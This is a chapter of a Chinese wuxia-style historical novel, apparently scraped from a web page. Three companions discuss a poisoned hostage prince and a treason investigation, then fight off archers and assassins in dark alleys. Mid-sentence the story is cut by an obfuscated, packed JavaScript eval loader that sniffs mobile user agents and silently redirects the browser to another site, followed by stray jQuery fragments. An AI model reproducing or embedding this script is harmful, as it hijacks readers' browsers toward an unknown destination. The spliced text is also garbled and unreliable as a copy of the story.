“你倒是提醒了,”萧若洲微皱着眉,面色沉下来,“那位叫泰勒的北厥敕王之子可在何处?安好?”


    司锦瑜道:“在城外邕浒山老姑娘庙,瘦得很是憔悴,听老方丈只言片语,似是被人下了毒手。”


    “五岁被送来为质,需满十五年才可回故土,算算也有十一年了。”萧若洲若有所思道,“再过四年便要送回去,现下给他下毒未免太过蠢了些。”


    “到时若是毒伤未痊,北厥借此滋事,又许是一场大战。”


    温瑾淮眸色深沉,道:“战时四乱,那些久为臣子的才有博得一线皇权的机会。”


    房间内骤然安静下来,空气仿佛都凝固住,司锦瑜眸光飘忽不定,轻咳一声清了清嗓说:“也是文臣武将的争赏封爵之时。”


    萧若洲眸光瞟了一眼门外,见平常无异便安下心来,低声一句:“有些话知心里,莫要言语出来。”


    司锦瑜身体后仰背靠椅背,双手撑住后脑,别过头望着半掩的窗外万家灯火,叹了句:“可偏偏有些功勋就是要踏着累累白骨才能建立,难免有人等不及。”


    温瑾淮道:“所以找到金牌还回去重要,让囚期已满的质子安然无恙回到故土亦然重要,只有诸事皆顺意才能让百姓安稳度日。”


    “我等意愿一致,”司锦瑜拿起酒壶为二人斟了酒,“可否协同迈进?”


    萧若洲眼底带着几分迟疑,瞥了一眼抿酒的温瑾淮,迟迟未作出表态。


    温瑾淮则是转眸看着司锦瑜,说:“你的重要事呢?”


    “我的事无关社稷江山,无关朝堂百姓,只存于儿女情长。”司锦瑜举起酒杯一口饮尽酒,言辞颇有不满,“昨天太后下懿旨传入司府,赐下一桩狗屁婚约,竟要我与幼阳公主成婚,真是老糊涂……”


    “莫要胡言。”萧若洲伸手用力一拍他臂膀,打断了他的话,面严声厉道:“即便太后是你外祖母,那也是皇家之人,背后狂言堕骂乃是大罪。”


    司锦瑜道:“这不能说,那不能说,又不是天上仙,规矩还不少。反正这婚约我是不认,温姑娘,你我明日就成婚。”


    温瑾淮呛住接连咳嗦几声,轻抚胸膛顺着气。


    司锦瑜掏出帕子递给她,又伸出宽大的手掌轻拍她的后背,声音添了柔气:“都说了少喝点,还贪上杯舔上酒了。”


    他紧接一句:“我若不想成,此事也绝不会成。”


    萧若洲忙地说:“你可别做蠢事,丢脸不说了,还要你家大郎君整日在你身后收拾烂摊子,你少折腾他吧。”


    “先不说我了,”司锦瑜问道:“你不是有两件事,另一件事什么?”


    萧若洲将目光转向温瑾淮,言辞凌厉:“温易初敛财谋逆之事。”


    话音传入耳,温瑾淮表情肃穆凝重,一旁的司锦瑜攒眉蹙额,似在思索什么。


    萧若洲端起酒杯,凝眸看着杯中晃动涟漪,沉思片刻说:“我不知其中隐匿,但我知道温伯定不是贪财争权之人。你兄妹来此想查出真相,又有多少人想藏住真相,火焚案卷便已说明有人在刻意阻拦。”


    萧若洲目光凝视看去,说:“家父知你兄妹不易,便特意嘱咐我助你们。若有用得到我的地方,你兄妹尽管开口。此话也请代为转告给你大郎君,也让他莫要整日待在御史台,想见一面都难。”


    一支长箭射入,萧若洲后仰身体躲过去,他抛出手中空杯,杯子正中长箭脆响碎裂。


    伴着几声弦鸣,长箭脱手再次射来,萧若洲掀起整齐折叠在身旁的大氅,将几支箭卷绕拦截,趁空暇之际,他翻出窗户踏在一楼的檐台上,瞧见藏身于对面房檐上的一黑衣人。


    萧若洲纵身跃下,安稳落在下面的双轮推车上,面对飞射而来的长箭,他侧身一闪轻松躲过,很明显对方是冲着他来的。


    萧若洲大步跑向对面房檐,双脚猛力踏地,卷起一阵尘土,双手勾住房檐一角翻身跃上,迅速扯下腰间铁鞭子朝对方抽去,使对方无暇拉弓上箭。


    弓箭远战得力,近战逊色不少,萧若洲几鞭子挥打下去,似飞龙掠影般眼花缭乱,乱了对手心神,他伺机抽出藏在后背的短匕,冲到了对方身前,一招上挑侧斩将对方长弓击落。


    黑衣人拔出腰间长刃横空一扫逼退了萧若洲,未等他来得及喘息分毫,便瞧见萧若洲眼眸似鹰隼般锋利,迎面飞扑而来。


    黑衣人心怵一颤,就这短短的一瞬便磨灭了他战斗的意志,猛然翻下房檐冲入人群逃窜。


    萧若洲紧追不放,步伐沉稳有力,每一步踏在地上都会卷起一阵尘土飞扬,远远望着他那身影,敏捷似猛扑凶杀的孤狼。


    雅间内的二人未做停留,等二人跑出烩丰居后却已望不见萧若洲的身影,只见百姓慌乱四窜。


    烩丰居老板急冲冲跑来抓住了司锦瑜的手臂,摸着臂膀粗壮有力,怕司锦瑜挣脱开便双手抱住他略显细的腰,喊着:“想吃霸王餐?没门。”


    温瑾淮忙地掏出荷包,说:“我来结。”


    “不行。”烩丰居老板依旧紧紧抱着司锦瑜的腰,还加紧了些力道,“大老爷们儿吃饭还让小姑娘请客,还想吃霸王餐,真是好不害臊。”


    “你这话说的真有意思,谁说我不结账。”司锦瑜从怀揣内掏出钱袋子,在手上掂了掂分量,“给你钱,赶紧些松手。”


    “这才像样。”烩丰居老板赶忙接过钱袋子,跑到光亮的烛火旁细数一番,将多出的几枚铜板偷塞进了袖口,“正好,一文不多一文不少。”


    “多不多我不清楚吗。”司锦瑜嘟囔了句,从烩丰居老板手里将钱袋与多的几枚铜板都要了回来,“你想多要霸王的钱?没门。”


    “哎呀,你快过来。”温瑾淮伸手将他拽入人群藏了身影,低声说:“不知还有没有其他刺客暗藏,你我先躲在人群,莫要大声张扬了。”


    司锦瑜颔首轻语:“听你的。”


    街道上纷乱喧杂,两人趁乱在人群中快跑,转过拐角来到一处,顿时灯火掩熄,周遭一片阴暗,只剩下二人眸中一点星冥微光。


    一股冷厉剑芒袭来,马上就要触及身体了。


    司锦瑜一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192665|195654||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个跨步来到了温瑾淮身前,双手交叠抽出袖间匕首,挥臂张开向前一斩,发出刺耳嗡鸣。


    一阵急促的脚步声渐渐逼近,二人凝视四周保持警惕,三两须臾间便刀光剑影层出而来。


    温瑾淮向后仰身躲过横扫来的一刀,抬脚猛踹对方胸口,趁对方后撤之际她伺机一把抓住对方手腕,一手抓住对方手臂用力一拧,随着咔嚓一声,对方肩关节脱臼,吃痛大声惨叫。


    她夺过长刀向前猛刺,将人捅了个穿,招式凶猛震慑对手,硬是在狭窄的巷子里开出了一条血路来。


    “莫要恋战,快跑。”


    司锦瑜听到喊声后撤几步追上温瑾淮,在昏暗无光的巷子内蹑步前行,身后数名黑衣人紧追不放,将二人逼到死胡同内。


    胡同狭窄只能一人横肩而立。


    “你长刀受限,让我来。”司锦瑜双手攀墙,脚掌猛踏两侧墙壁,跳跃到温瑾淮身前,匕首在指尖飞旋,他清澈的眸子在月光下泛着寒芒,似蜷伏在暗处的猛兽,静待着一场血腥猎杀。


    长刀被两侧墙壁卡住,无法顺势挥出,他手中的匕首却游刃有余,每一次挥斩都伴着一股温热的血腥涌现,他每往前踏一步,身后两侧的墙壁上每多出一处猩红落梅。


    眼下三俩黑衣人见形势不妙后撤出巷子,转瞬间巷子陷入沉寂,仿佛方才厮杀是弹指一梦,可鼻腔充斥的血腥气做不得假。


    二人怕黑衣人在外设伏,过了许久才朝巷子外冲去,不料刚踏出巷子一步,瞧见两点寒芒逼近,迎面飞射来两支长箭。


    巷子口狭窄来不及闪躲,司锦瑜未作犹豫,一把将温瑾淮揽入怀中,用坚实的后背挡下了长箭,揪心的痛使他闷哼一声,“他娘的,这么久了还没走。”


    “快进来。”温瑾淮一把抓住他领口,将人拽入了巷子,幽暗的巷子将二人身影隐藏。


    巷子外手拉长弓的俩黑衣人迟疑不决,不知为何?方才射中的两支长箭使他们眼底生了恐慌。


    百姓的慌乱惊叫引来皇城司俸卫禁军,禁军步履间震动的铁甲声回荡开来,巷子外暗中蛰伏的黑衣人尽数逃窜,有不幸的三俩黑衣人正面撞上禁军,试图反抗被当即诛杀。


    温瑾淮丝毫不敢松懈,于阴暗处凝视着巷子外风吹草动,稍有一点动静都会使她警惕万分,瞧见禁军赶来后松了口气。她一手抱着司锦瑜的腰肢,一手握住他的手搭在肩上,艰难地扶着他迈出巷子。


    司锦瑜的后背衣衫早已被鲜血染红浸透,血止不住的流。他脸色惨白,手搭在温瑾淮的肩上便很是轻松的轻点两下她手臂,笑道:“此等救命的恩情,够不够以身相许来报答?”


    温瑾淮借着月光瞧清司锦瑜面色,他惨白的脸上挂着一抹自然的笑,眸中星辉却是黯淡不少。


    她急道:“都什么时候了还开玩笑。你可要挺住了,我这就带你去寻郎中治伤。”


    “哎呦~慢点走,这两只箭插得够深的。”司锦瑜轻声痛吟,搭在温瑾淮肩上的手抱紧了些,“你欠我一条命啊,可要细思斟酌,想想如何报答我。”